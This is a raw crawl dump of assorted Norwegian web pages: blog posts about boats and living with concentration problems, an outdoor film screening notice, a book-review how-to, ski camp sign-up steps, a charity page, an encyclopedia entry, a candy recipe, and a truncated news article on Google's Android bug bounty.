Kanskje festivalen kommer tilbake neste sommer? Krysser fingrene\\!\n        \n5.   bruno sier:\n    \n    21\\. juli 2014, kl. 23:34\n    \n    Jeg elsket veldig mye\\! fordi jeg har litt erfaring med b\u00e5ter; ganske lite, fordi jeg har eid i mine 18 \u00e5r, en liten jolle middelhavet, og gj\u00f8r b\u00e5ten kj\u00f8lb\u00e5t (enkelhet). siden katalansk b\u00e5t til pittoreske seil noen ganger invitert. men jeg liker ikke rallende lyder: omhyller, n\u00e5r man skal stoppe for anker i havnen. selvf\u00f8lgelig jeg elsker tre, og hver rart autentisk b\u00e5tbygging typen er en slik glede\\! Jeg vet overv\u00e5ke og dr\u00f8mme med hver bevegelse i seilene til vinden. og deretter alle disse tre bow viking b\u00e5ter har en forferdelig sjarm\\! s\u00e5 store halyard tau, har allerede praktisert. (Sykkelen er for meg, og et vakkert kunstverk, og ja\\! Nature, det noen ganger mer enn man kjenner godt, veldig godt hva det brukes med objekttransformasjoner\\!). s\u00e5 ja\\! og hurra for b\u00e5ter\\! (Vel, faktisk er jeg tenke meg, den \u00absj\u00f8ormen bow b\u00e5t v\u00e6r himmelen mer gr\u00e5 kontrasterende , og P\u00e5 bakgrunn kirken ; s\u00e5 det er flott\\!)\n    \n      -  Synne sier:\n        \n        28\\. juli 2014, kl. 14:26\n        \n        S\u00e5 morsomt at dere har b\u00e5t\\! Ja, treb\u00e5ter er aller finest, synes jeg\\!\n        \n# Bonjour\\!\n\n", "language": "no", "__index_level_0__": "3e16b588-cd21-4e68-83a9-c0f685956fef"}
{"url": "http://www.arthaus.no/incoming/article1330785.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:24:49Z", "text": "Om ett \u00e5rs tid \u00e5pner VEGA SCENE \u2013 Oslos nye m\u00f8tested for film og teater. Men vi klarer ikke vente s\u00e5 lenge: P\u00e5 Oslo kulturnatt inviterer vi til japansk utekino utenfor Pila - Oslo / Norsk design- og arkitektursenter. Filmen er Makoto Shinkais fantastiske YOUR NAME \\[Kimi no na wa\\]\\! Pila har uteservering og tilbyr en sm\u00e5rett med asiatisk touch. Vi er klare for en aften viet japansk popkultur.  \n  \n\u00a0  \nArrangementet er et samarbeid mellom Vega Scene, Arthaus, Film fra S\u00f8r, DogA og Pila \u2013 st\u00f8ttet av Oslo kommune. Filmstart n\u00e5r m\u00f8rket senker seg, rundt kl. 20.30. Ta med varme kl\u00e6r og sitteunderlag.  \n  \n\u00a0  \nOm YOUR NAME  \n  \nBli med p\u00e5 en ut av kroppen-opplevelse \u2013 om tid, skjebnens gang og dr\u00f8mmene til to unge mennesker. Mitsucha og Taki har aldri m\u00f8tt hverandre. Hun bor p\u00e5 landet og lengter etter storbylivet, han er i Tokyo og \u00f8nsker seg et enkelt liv p\u00e5 landet. Alt endres n\u00e5r de en dag plutselig bytter identitet. Hennes sjel har tatt plass i hans kropp og hans i hennes. Er b\u00e5ndet mellom dem sterkt nok til \u00e5 f\u00f8re dem sammen?  \n  \n\u00a0  \nYOUR NAME er den st\u00f8rste animasjons-suksessen i Japan siden CHIHIRO OG HEKSENE i 2001. Filmen vises i originalversjon med norske undertekster. Aldersgrense 6 \u00e5r.  \n  \n\n", "language": "no", "__index_level_0__": "d4543c68-d075-4edd-a73f-1848b0ac74c9"}
{"url": "http://dobing.info/17/2010/01/hvordan-a-skrive-en-skjonnlitterer-bok-gjennomgang.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:46:06Z", "text": "# hvordan \u00e5 skrive en skj\u00f8nnlitter\u00e6r bok gjennomgang\n\n  \nBook vurderinger er et viktig verkt\u00f8y for enhver ivrig leser. De gir et sammendrag av historien. Anmeldelser ogs\u00e5 gi en personlig mening om kvaliteten p\u00e5 skriving, innhold og om boken er anbefalt for innkj\u00f8p. Skrive en bokanmeldelse-enten for en avis, blad eller nettsted-kan v\u00e6re relativt enkelt, spesielt for et verk av fiksjon. S\u00e5 lenge gjennomgangen er godt skrevet, relevant og beskrivende, kan det v\u00e6re en utrolig selger verkt\u00f8y for boken og forfatteren  \nen.  \nTittel anmeldelsen din slik at noen kan se umiddelbart hva anmeldelsen dreier seg om. Bruk beskrivende setninger. Tittelen skal gjenspeile innholdet i anmeldelsen din, men likevel gj\u00f8re leseren \u00f8nsker \u00e5 lese hva du har \u00e5 si  \n2  \nGi et sammendrag av historien -. . Uten \u00e5 fortelle for mye- -i f\u00f8rste ledd av anmeldelsen din. Forklar litt om hovedpersonene og traff h\u00f8ydepunktene i historien.  \nTre.  \nSkriv en sammenligning av historien til en annen av samme sjanger, eller av samme forfatter. Dette er mye enklere hvis boken er ett i en serie. Hvis du blir kritisk, m\u00e5 du ha god begrunnelse for kritikken din.  \nFire.  \nState din mening tydelig i ditt siste avsnitt. En god anmeldelse er kritisk til b\u00e5de gode og d\u00e5rlige deler av historien. Det vil v\u00e6re nyttig for leseren beslutning om \u00e5 kj\u00f8pe boken.  \n\n#### Tips og advarsler\n\n  \nHvis du skriver for et magasin, avis eller Nettstedet, s\u00f8rg for \u00e5 f\u00f8lge sine retningslinjer.\n\n> P\u00e5 Dobing.info gj\u00f8r du alltid et godt valg n\u00e5r du kj\u00f8per en hobby / dekorasjon. Vi har et stort utvalg av h\u00f8ykvalitets produkter. Vi har 1514 stk ulike hobby-materialer fra merker som Efco og avec, American Craft, SEI, MosaixSoft, MosaixPro, Mosaix og MosaixPur. Blant annet knapper, plast figurer, mosaikker, wire stjerner med perler og tekstilvarer\\!\n", "language": "no", "__index_level_0__": "8f024081-bb1d-4d74-8198-84d0bb782bc6"}
{"url": "http://herixta.blogspot.com/2011/06/losing-focus.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:47:30Z", "text": "\n\n    \n\n## s\u00f8ndag 26. juni 2011\n\n### Losing focus\n\n kl. 00:00 \n\nDette med konsentrasjonsvansker er virkelig noe en ikke kan forst\u00e5 fullt ut hvis en ikke har opplevd det selv, og det vet jeg godt fordi jeg trodde jeg visste hva det innebar helt fram til jeg faktisk sto der en dag - midt i en samtale og datt helt ut. Jeg s\u00e5 at munnen beveget seg, jeg h\u00f8rte lyder, men jeg klarte ikke \u00e5 gj\u00f8re om disse signalene til noe forst\u00e5elig. Slik har jeg det ofte om dagen. Noen ganger f\u00f8les det som at verden stopper opp, jeg ser at Milla st\u00e5r og snakker til meg, jeg ser at Magnus gj\u00f8r noe han ikke f\u00e5r lov til, men jeg klarer ikke \u00e5 reagere, jeg blir som handlingslammet. S\u00e5 faller bitene p\u00e5 plass igjen og jeg h\u00f8rer \"Mamma? Mamma?\" fra jenta som st\u00e5r ved sofaenden. Plutselig spretter jeg opp og l\u00f8fter vekk Magnus fra...  \n\\[Der skjedde det igjen. Denne gangen var det ordet som forsvant. Hmm... Forsterkeren? Jeg er ikke sikker p\u00e5 om det er det jeg sitter og ser p\u00e5. Kjenner igjen ordet, men det f\u00f8les feil om den boksen jeg har foran meg, med... Der ja, enda en gang. Hjulet som man vrir p\u00e5 for \u00e5 f\u00e5... AH\\! Volumknappen. Alts\u00e5 boksen med volumknapp og andre knapper som styrer lyden fra tven v\u00e5r.\\]  \nGrunnen til at jeg skriver dette innlegget akkurat n\u00e5 er som dere kanskje forst\u00e5r fordi dette er ille i dag. Martin ser ofte oppgitt p\u00e5 meg, som om jeg er helt uinteressert i hva han snakker om, og det er umulig for meg \u00e5 \u00e5 forklare hvordan dette f\u00f8les. Selvf\u00f8lgelig *vil* jeg ikke v\u00e6re overlegen eller g\u00e5 glipp av det andre snakker om, men \"Miss Ducky\" forklarer dette veldig bra i sitt innlegg som dere finner her, og dere kan ogs\u00e5 lese om det i innlegget til \"SerendipityCat\".  \n\n\n\n\\[N\u00e5 glemte jeg hva jeg skulle skrive igjen... Tenkepause... Da var det bare \u00e5 begynne \u00e5 lese de tidligere setningene, og se om det dukker opp i hukommelsen et sted.  \nDer ja.\\]  \nHjernen kobler p\u00e5 en m\u00e5te ut. Jeg kan sitte midt i en samtale med kj\u00e6resten og snakke om noe som virkelig interesserer meg, men plutselig sklir blikket mitt over p\u00e5 pcen, barna, eller tven, og Martin blir sittende med f\u00f8lelsen at jeg synes det andre er mye mer spennende enn han. Det gj\u00f8r meg vondt n\u00e5r jeg finner ut at jeg har falt ut igjen, og det tar ofte en del tid f\u00f8r jeg faktisk skj\u00f8nner at det har skjedd. Enda verre er det de gangene noen flirer litt, eller de gangene noen nekter \u00e5 gjenta seg selv, fordi de tror jeg ikke bryr meg.  \nVel n\u00e5 vet dere det. Jeg bryr meg om det dere sier, men som \"SerendipityCat\" skriver - det f\u00f8les noen ganger som om alle snakker for fort, og for meg gjelder dette kanskje spesielt i telefonen. For n\u00e5r jeg detter ut pr\u00f8ver jeg ofte \u00e5 g\u00e5 tilbake i samtalen og g\u00e5 gjennom ord for ord, akkurat som n\u00e5r jeg skriver, men over telefonen skal jo alt skje s\u00e5 raskt, s\u00e5 stort sett sitter jeg bare igjen og svarer p\u00e5 noe jeg ikke vet hva er, og f\u00f8ler meg utrolig teit n\u00e5r jeg skj\u00f8nner at jeg har gitt det feile svaret. Jeg har etterhvert l\u00e6rt meg \u00e5 si fra om at jeg gjerne vil at de skal si det p\u00e5 nytt, fordi jeg virkelig vil h\u00f8re det, men n\u00e5r det skjer to-tre ganger p\u00e5 rad er det virkelig ikke enkelt \u00e5 f\u00f8re en normal samtale.  \n\n\n\nNoen ganger f\u00f8les det ogs\u00e5 som at jeg ikke klarer \u00e5 forst\u00e5 selve ordene som blir uttalt, og jeg m\u00e5 kanskje smake p\u00e5 ordet et par ganger f\u00f8r jeg er sikker p\u00e5 at jeg har oppfattet det riktig.  \nAlt dette gj\u00f8r det ogs\u00e5 veldig vanskelig \u00e5 klare \u00e5 henge med n\u00e5r jeg ser p\u00e5 film, tv, leser b\u00f8ker... You name it.  \nJeg vil dere skal vite at jeg setter s\u00e5 utrolig stor pris p\u00e5 kommentarene dere legger igjen, og jeg blir bare glad for \u00e5 f\u00e5 sp\u00f8rsm\u00e5l. F\u00e5r du ikke svar i l\u00f8pet av et par dager er det rett og slett fordi jeg sliter med \u00e5 formulere et svar, fordi jeg gjerne vil skrive litt hyggelig tilbake, men det er vanskelig \u00e5 finne ordene. Det er som \"Oppsummert\" skriver i kommentarfeltet til innlegget jeg nevnte over her *\"\u00c5 skrive ut fra hva jeg f\u00f8ler, opplever eller tenker er mye lettere enn toveiskommunikasjon eller \u00e5 f.eks svare p\u00e5 sp\u00f8rsm\u00e5l. Direkte utkanal krever ikke at jeg m\u00e5 tenke etter, stoppe opp, og da er det ingen hindringer. Med en gang jeg m\u00e5 tenke etter, stopper alt opp og det kan ta lang tid \u00e5 komme igang igjen. Vanskelig.\"* Men ** betyr ikke at jeg ikke vil ha sp\u00f8rsm\u00e5l, det vil bare si at dere ikke m\u00e5 bli forn\u00e6rmet hvis dere ikke f\u00e5r et svar med en gang. Kanskje det til og med kan ta noen uker noen ganger. Uansett betyr det mye at dere vil legge igjen noen ord.  \n\nEt veldig surrete og uoversiktlig innlegg - jeg vet.\n\nMen det er ukamuflert, \u00e6rlig og kanskje det kan gi noen litt innsikt i hvordan dette arter seg.\n\nGod natt kj\u00e6re lesere \u2665\n\n  \n Skrevet av Hanne   \n\n#### 8 kommentarer:\n    Silje B26. juni 2011 kl. 00:30\n    \n    Utrolig flott skrevet Hanne, og jeg kjenner meg godt igjen i den siden av samtalen som blir oppgitt...men det er bedre \u00e5 be folk gjenta det de sa enn \u00e5 late som ingenting\\! Pappa sliter med det samme (uten \u00e5 innr\u00f8mme det) og fortsetter samtalen fra der den var da han datt ut...hvilket f\u00f8rer til oppgitte folk eller flir :-/\n    \n2.  \n    \n    Renate26. juni 2011 kl. 01:18\n    \n    Jeg orket ikke \u00e5 lese hele innlegget ditt n\u00e5, pga. d\u00e5rlig form i dag. Jeg ville bare si \"hei\", -at du ikke er alene og at jeg kommer tilbake hit siden. :)\n    \n3.  .jpg)\n    \n    Elisabeth Ingeborg26. juni 2011 kl. 11:57\n    \n    Utrulig bra forklart. Og ett \"spennande\" tema, om ej kan kalle det det.\n    \n4.  \n    \n    Miss Ducky26. juni 2011 kl. 14:50\n    \n    Fint innlegg du har skrevet Hanne:) Kjenner meg s\u00e5 godt igjen\\! Skj\u00f8nner det med kommentarene. Man vil jo s\u00e5 gjerne svare noe fornuftig, men s\u00e5 er det ikke alltid at man greier. N\u00e5r man verken finner ordene eller greier \u00e5 formulere seg er det jo ikke mulig. klem\n    \n5.  \n    \n    \\~SerendipityCat\\~26. juni 2011 kl. 19:29\n    \n    Du klarer \u00e5 sette ord p\u00e5 det p\u00e5 en flott m\u00e5te her alts\u00e5\\!  \n    Det er s\u00e5 leit, n\u00e5r en selv skj\u00f8nner at en ikke fungerer... samtidig klarer man ikke formidle det til andre, hvordan det er. Jeg skj\u00f8nner godt hvis andre rundt blir frustrert, lei, forvirra...  \n      \n    Jeg glemmer ogs\u00e5 navn p\u00e5 ting. En gang stod jeg og skulle sm\u00f8re meg ei br\u00f8dskive, og plutselig hadde jeg glemt hvordan jeg gjorde det. Jeg kikket fortvilet fra sm\u00f8rboksen til br\u00f8dskiva til kniven.. jeg visste at de skulle kobles sammen p\u00e5 en m\u00e5te, bare ikke hvordan. Samtidig ble jeg fortvilet, fordi jeg inni meg skj\u00f8nte at dette var s\u00e5nt man bare ikke glemte... Jeg visste ikke hva \"sm\u00f8r\" eller \"kniv\" var, eller hva det ble brukt til\\! Det varte bare noen sekunder, men var veldig skremmende.  \n      \n    Jeg pr\u00f8ver \u00e5 ikke la dette isolere meg, men noen ganger er det vanskelig. En l\u00f8sning er at jeg pr\u00f8ver \u00e5 ta en del ting p\u00e5 mail, slik at jeg f\u00e5r tid til \u00e5 tenke over hva jeg skriver. Men det er vanskelig \u00e5 svare p\u00e5 mail ogs\u00e5.  \n      \n    Faktisk er det lettere hvis jeg skriver en bloggpost, for der er det bare \\_mine\\_ tanker som skal ut, i den rekkef\u00f8lgen \\_jeg\\_ vil. Skal jeg svare p\u00e5 mail m\u00e5 det liksom struktureres p\u00e5 en annen m\u00e5te...  \n      \n    Ja ok... nok fra meg :-D H\u00e5per du har en god s\u00f8ndagskveld\\!  \n      \n    PS: Takk for henvisninger til mitt innlegg. :-)\n    \n    Tinna26. juni 2011 kl. 23:55\n    \n    Du er flink hanne mor. tenker masse p\u00e5 deg\\! \\<3\n    \n7.  \n    \n    Anonym27. juni 2011 kl. 12:54\n    \n    Hei.  \n      \n    Jeg kom helt tilfeldig over bloggen din, den dukket opp ved et s\u00f8k p\u00e5 noe annet.  \n    Jeg er en godt voksen dame som har hatt hatt ME i 10 \u00e5r. Det du skriver er s\u00e5 inderlig gjenkjennelig, og jeg  \n    h\u00e5per inderlig du etter hvert f\u00e5r den hjelp du trenger, b\u00e5de i forhold til NAV og sykdommen i seg selv. S\u00e5 godt at du har gode mennesker rundt deg som stiller opp for deg. Du virker som en reflektert person med en god selvinnsikt.  \n    Det er en god ballast i en situasjon som dette.  \n    Etter 10 \u00e5r med sykdom er jeg n\u00e5 p\u00e5 vei inn i varig uf\u00f8r, og kjenner p\u00e5 den utrolige lettelsen  \n    det er endelig \u00e5 slippe \"kampen med NAV\". Sykdommen i seg selv gir en kontinuerlig sorgprosess,men har ogs\u00e5 vist meg hvor mye livsglede jeg har - og et annet fokus enn tidligere, t\u00f8r nesten p\u00e5st\u00e5 at jeg er et lykkeligere menneske n\u00e5 enn f\u00f8r - h\u00f8rest sikkert rart ut :) Men jeg setter s\u00e5 uendelig pris p\u00e5 de sm\u00e5 ting, noen gode dager innimellom, gode mennesker, en vakker soloppgang, dyrene mine osv. Videre har det hjulpet meg masse \u00e5 fordype meg i meditasjon/selvhealing, Qi gong osv. - og dessuten \u00e5 finne et kosthold som fungerer (ikke sukker, lite mel og melkeprodukter - s\u00e5 ren mat som mulig, mye gr\u00f8nnsaker, hvitt kj\u00f8tt og fisk).  \n    H\u00e5per du finner det som fungerer best for deg.  \n    \u00d8nsker deg alt godt, stor klem :)  \n    Inger Lise\n    \n8.  \n    \n    Hanne14. juli 2011 kl. 12:05\n    \n    Takk for alle deres kommentarer, og beklager sent svar.  \n    Silje B. - Jeg h\u00e5per pappaen din kommer tilbake til seg selv igjen etterhvert, men dere f\u00e5r fors\u00f8ke \u00e5 b\u00e6re over med han slik det er i dag. Pr\u00f8v \u00e5 minne dere selv p\u00e5 at han ikke kan noe for det, og at han helt sikkert synes det er flaut og trist \u00e5 dette ut av samtalene.  \n    Renate - Takk for at du leser, jeg ogs\u00e5 titter innom blogger i ny og ne og leser kanskje et halvt innlegg om gangen, s\u00e5 jeg kjenner meg ogs\u00e5 igjen.  \n    Elisabeth Ingeborg - Takk. Det er hyggelig \u00e5 h\u00f8re at noen kan finne interesse av \u00e5 sette seg inn i problemstillingen\\!  \n    Miss Ducky og SerendipityCat - Jeg elsker bloggene deres, og takk for deres kommentarer. Den fortvilelsen du beskriver SC sitter jeg ogs\u00e5 mye med, tanken om at \"\u00c5H, dette er da ikke s\u00e5 vanskelig\\!\\!\".  \n    Tinna - Takk\\! Du er s\u00f8t\\!  \n    Inger Lise - S\u00e5 hyggelig at du kom over bloggen min\\! Setter utrolig stor pris p\u00e5 alle dine kommentarer. Trist \u00e5 h\u00f8re at du har v\u00e6rt syk s\u00e5 lenge. Jeg lever enda p\u00e5 h\u00e5pet om \u00e5 bli frisk, men skal innr\u00f8mme at jeg tror det er flere \u00e5r frem i tid. Uansett trenger jeg h\u00e5pet. \u00d8nsker deg ogs\u00e5 alt godt fremover\\!\n    \nTusen takk for at du vil kommentere innlegget mitt\\! Trykk gjerne p\u00e5 \"Abonner via e-post\", s\u00e5 f\u00e5r du svarene tilsendt dit.  \nHa en fortsatt fin dag\\!\n\n## Ny her inne? Her er litt om meg:\n\n\n\n  - Hanne  \n    Jeg er f\u00f8rst og fremst mamma til tre sm\u00e5 rusketroll, Milla, Magnus og Ludvig. Pappaen i familien (Martin) og jeg har v\u00e6rt kj\u00e6rester siden 2004, da vi begge var ganske sm\u00e5 rusk selv. Vi bor i et passe stort hus i et passe befolket omr\u00e5de i passe avstand fra det meste og med de viktigste personene like i n\u00e6rheten.\n\n  \n\n", "language": "no", "__index_level_0__": "3963dbd9-0699-4365-9928-820502509eb1"}
{"url": "http://ski.bekkelagets.no/home/index.rails?pid=16661", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:29:20Z", "text": "#  P\u00e5meldingen til Beitost\u00f8len 2017 \u00e5pner mandag 9. oktober\\! \n\n**Les instruksjonene for p\u00e5melding under n\u00f8ye\\!**  \n\n-----\n\n**Aller f\u00f8rst:**  \nALLE m\u00e5 ha egen bruker i MinIdrett for \u00e5 melde seg p\u00e5. De som g\u00e5r/har g\u00e5tt skirenn har sannsynligvis en bruker, mens mange foreldre m\u00e5 opprette ny/egen. En del barn ligger ogs\u00e5 innunder foreldrenes brukere. Pass i s\u00e5 fall p\u00e5 at du melder p\u00e5 riktig person\\!  \n\n### 3\\. S\u00d8K ETTER SN\u00d8SAMLINGEN\n\nN\u00e5 skal du ha f\u00e5tt opp et s\u00f8kefelt til venstre i bildet. Skriv \"bsk\" i s\u00f8kefeltet og klikk \"S\u00f8k\". Klikk deretter p\u00e5 oppf\u00f8ringen som heter \"BSKs sn\u00f8samling 2017\". Da vil feltet til h\u00f8yre endre seg.  \n\n### 4\\. MELD P\u00c5 PERSONEN\n\nDu skal n\u00e5 ha f\u00e5tt opp detaljene for arrangementet i feltet til h\u00f8yre. Kontroller at du melder p\u00e5 riktig deltaker (dersom din bruker kontrollerer flere personer), velg riktig idrettslag (dersom du representerer flere), velg riktig klasse (NB\\! Viktig pga. priser) og kryss av i feltet \"samling\". Feltet \"Arrangement\" skal st\u00e5 p\u00e5 \"Jeg betaler selv\". Avslutt med \u00e5 trykke p\u00e5 \"Legg til p\u00e5melding\".  \n\n*\\* Behovet for trenere er ikke klart f\u00f8r antall ut\u00f8vere er klart. Vi ber derfor hjelpetrenere som reiser \u00e5 melde seg p\u00e5 som hjelpetrenere. Hvis det viser seg at det ikke er behov for alle hjelpetrenerne vil man bli etterfakturert til fullt bel\u00f8p. Hovedtrenere og ungdomstrenere dekkes fullt.*  \n\n### 5\\. G\u00c5 TIL KASSEN\n\nN\u00e5r p\u00e5meldingen er lagt til f\u00e5r du beskjed om at varen er lagt i handlekurven. Klikk p\u00e5 \"Til kassen\" eller \"Betaling\" i \u00f8verste menyfelt for \u00e5 fullf\u00f8re p\u00e5meldingen.  \n\n### 6\\. KONTROLLER, BEKREFT OG BETAL\n\nKontroller at personen er meldt p\u00e5 i riktig prisklasse og trykk deretter p\u00e5 \"Bekreft p\u00e5meldinger\". Du f\u00e5r n\u00e5 opp et nytt vindu for \u00e5 fullf\u00f8re transaksjonen. Fyll inn dine kortdata for \u00e5 fullf\u00f8re betalingen. Dersom betalingen g\u00e5r i gjennom vil du motta en bekreftelsesmail til adressen brukeren er registrert p\u00e5. Dette er din bekreftelse p\u00e5 at p\u00e5meldingen har g\u00e5tt i orden.  \n\n### TILLEGGSOPPLYSNINGER\n\n  - De som har med hund m\u00e5 gi beskjed om dette til email@example.com innen 5. november.\n  - De som \u00f8nsker ekstra overnatting fra torsdag m\u00e5 gi beskjed om dette til firstname.lastname@example.org innen 5. november.\n  - Har du problemer med p\u00e5meldingen? Pr\u00f8v en gang til\\! I verste fall, ta kontakt med Eirik.\n  - Har du sp\u00f8rsm\u00e5l til samlingen generelt, ta kontakt med email@example.com.\n\n", "language": "no", "__index_level_0__": "96140d3f-bb12-439b-b778-dc157168dd27"}
{"url": "https://studentaksjonen.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:01:32Z", "text": "## \u062f \u067c\u0648\u0644\u0648 \u062f \u0647\u064a\u0644\u0648 \u062a\u0631  \n\u0633\u0631\u0647 \u06a9\u0648\u0644 \u063a\u0648\u0627\u0693\u0648.\n\n## skj\u00f8nner du dette?\n\nDet gj\u00f8r heller ikke 3 millioner afghanske barn og unge.  \nStudentaksjonen er en nasjonal aksjon drevet av studenter.  \nSammen kjemper vi for en bedre fremtid;  \nfordi l\u00e6ring bygger h\u00e5p.\n\n# Norske studenter st\u00e5r opp for afghanske barn\n\n-----\n\nStudentaksjonen er en partipolitisk- og livssynsuavhengig frivillig organisasjon drevet av norske studenter. Visjonen v\u00e5r er \u00e5 utbedre lese- og skriveferdigheter blant afghanske barn og ungdom gjennom innsamlingsaksjoner p\u00e5 tvers av Norge.\n\nAlle barn har rett til utdanning. Studentaksjonen har samlet inn 1 750 000 kroner og s\u00f8rget for at 1 750 ungdom har f\u00e5tt grunnleggende lese- og skriveferdigheter. Dette var tidligere et prosjekt i samarbeid med Kirkens N\u00f8dhjelp.\n\nI 2018 har Studentaksjonen inng\u00e5tt samarbeid Flyktningshjelpen. Midlene som samles inn g\u00e5r til deres undervisningsprogram i Afghanistan, som er basert i flere provinser, og tilbyr barn hele grunnutdanningen p\u00e5 3 \u00e5r.\n\nM\u00e5let for 2018 er \u00e5 utvide til flere byer, samle inn 1 000 000, og dermed sikre at enda flere barn f\u00e5r deres rett til utdanning sikret.\n\n1750000\n\nNOK samlet inn\n\n#### Om Studentaksjonen\n\n\n", "language": "no", "__index_level_0__": "f1d485a2-a700-4dc3-a1d1-c7d7eaee747e"}
{"url": "https://snl.no/Anne_Lindmo", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:04Z", "text": "# Anne Lindmo\n\n  - F\u00f8dt  \n    3\\. april 1970\n\nAnne Lindmo, norsk journalist og programleder; utdannelse i radiojournalistikk fra London. Tilknyttet NRK fra 1994, f\u00f8rst i P3, der hun deltok i en rekke programmer, blant annet som programleder for *Mamarazzi*. Fra slutten av 1990-\u00e5rene har hun arbeidet med TV, blant annet som programleder for *Underholdningsavdelingen* (1997).\n\nAnne Lindmo ledet fra 2002 til 2009 kultur-talkshowet *Store studio*. For dette ble hun tildelt Gullruten som beste programleder 2006 og 2008. Siden 2012 har hun ledet talkshowet *Lindmo*, som hun mottok Gullruten for i 2015.\n\nSammen med Helle Vaagland ga hun ut boken *Heia mamma\\!* i 2007.\n\nVil du sitere denne artikkelen? Kopier denne teksten og lim den inn i litteraturlisten din: Smith-Meyer, Trond. (2015, 26. august). Anne Lindmo. I Store norske leksikon. Hentet  fra https://snl.no/Anne\\_Lindmo.\n\nbegrenset gjenbruk.\n\n", "language": "no", "__index_level_0__": "4dc6ce8d-ee42-46a1-97f2-c1f3ddde9676"}
{"url": "http://maaltid.no/oppskrifter/macadamia-nottekonfekt", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:07:15Z", "text": "# Macadamia-n\u00f8ttekonfekt\n\n\n\nS\u00e5re enkelt og s\u00e5 godt\\! Denne godbiten klarer alle \u00e5 lage.\n\n\\#sm\u00e5kaker \\#spiseligegaver \\#julegodt \\#jul\n\n*Av* **Bulls Press (2017)**  \n\n \n **  10 min  **  0\n\n**  ANDRE SOM DENNE \nM\u00e5ltid for **25 personer**\n\n Trykk +/- for \u00e5 endre antall personer eller tast inn mengden ingrediens du har. \n\n## Ingredienser\n\n  - g\n    \n    Macadamian\u00f8tter, saltede\n\n  - g\n    \n    Glukosesirup\n\n  - g\n    \n    Sm\u00f8r, mykt\n\n  - g\n    \n    Sukker\n\n## Slik gj\u00f8r du:\n\nMengde: 25 stk.\n\n1\n\nLegg bakepapir i bunnen av en langpanne eller ildfast form. Legg 25 sm\u00e5 kakeformer utover bunnen. Fordel de hakkede macadamian\u00f8ttene i formene.\n\n2\n\nHa sirup, sukker og sm\u00f8r i en middels stor kasserolle, og varm opp mens du r\u00f8rer. Det skal ikke koke, men sukkeret m\u00e5 bli helt oppl\u00f8st. Kok opp og la det sm\u00e5koke uten lokk uten at du r\u00f8rer i ca. 5 min eller til sukkerblandingen blir gyllenbrun. Ta vekk fra varmen.\n\n3\n\nFordel den varme karamellblandingen i kakeformene og la det kj\u00f8lne.\n\n4\n\nPress n\u00f8ttekonfekten ut av formene.\n\n## TIPS:\n\n1\n\nDu kan ogs\u00e5 str\u00f8 n\u00f8ttene utover bunnen av langpannen dekket med bakepapir, og helle sukkerblandingen over. Skj\u00e6r opp i ruter f\u00f8r karamellene har stivnet helt.\n\n", "language": "no", "__index_level_0__": "4937edf1-17ad-40d9-8d3f-4239e174e197"}
{"url": "https://www.digi.no/artikler/utlyser-dusor-for-android-sarbarheter/208870", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:29:48Z", "text": "\n\n# Dus\u00f8rordning\n\n## Utlyser dus\u00f8r for Android-s\u00e5rbarheter\n\nMen Google betaler langt mer dersom en ferdig patch f\u00f8lger med.\n\n  -  Harald Brombach\n  - 17\\. juni 2015 - 10:07\n\nGoogle er tilsynelatende s\u00e5 forn\u00f8yde med hvordan selskapets dus\u00f8rordning for blant annet Chrome fungerer, at selskapet n\u00e5 innf\u00f8rer en lignende ordning for Android.\n\n**Google:** \u2013 For vanskelig \u00e5 finne s\u00e5rbarheter\u00a0\n\n#### Kun Nexus\n\nForel\u00f8pig er det kun s\u00e5rbarheter som ber\u00f8rer den til enhver tid nyeste utgaven av Android p\u00e5 enhetene Nexus 6 og 9 som omfattes av ordningen. Dette inkluderer s\u00e5rbarheter som blir funnet i AOSP-koden, OEM-kode som biblioteker og drivere, kjernen, samt TrustZone OS og tilh\u00f8rende moduler.\n\n**Ordningen gjelder ikke s\u00e5rbarheter som omfattes av andre dus\u00f8rordninger fra Google.**\n\nNexus-enhetene bruker en utgave av Android som i stor grad er identisk med AOSP-utgaven (Android Open Source Project), men har ogs\u00e5 en del mer eller mindre propriet\u00e6re tillegg.\n\n**Det er likevel slik at det meste av programvaren som Nexus-enhetene bruker, ogs\u00e5 brukes av andre, relativt nye Android-enheter. Dermed vil de fleste s\u00e5rbarheter som\u00a0ber\u00f8rer Nexus-enhetene, ogs\u00e5 ber\u00f8re mange andre Android-enheter.**\n\n**Ogs\u00e5 andre:** Webrivaler sammen om ny dus\u00f8rordning\n\n#### Ferdige patcher\n\nI utgangspunktet er ikke dus\u00f8rene som Google utbetaler for Android-s\u00e5rbarheter s\u00e5 store, maksimalt 2000 dollar. Men dersom tipseren ogs\u00e5 lager koden til en sikkerhetsfiks og tester denne med Compatibility Test Suite (CTS), kan dus\u00f8ren bli opptil fire ganger s\u00e5 h\u00f8y.\n\n**Dus\u00f8ren kan bli \u00f8kt med opptil 30 000 dollar dersom fjernutnyttelse av s\u00e5rbarheten f\u00f8rer til kompromittering av kjernen, Trusted Execution Environment eller Verified Boot.**\n\nGoogle ber om at de som oppdager s\u00e5rbarheter holder disse hemmelig i 90 dager etter at Google har blitt gjort kjent med problemet, slik at selskapet gis tid til \u00e5 rette problemet f\u00f8r detaljene blir gjort tilgjengelige for alle.\n\nDette tilsvarer i utgangspunktet den fristen Googles eget Project Zero opererer med, men denne fristen ble gjort noe mindre absolutt tidligere i 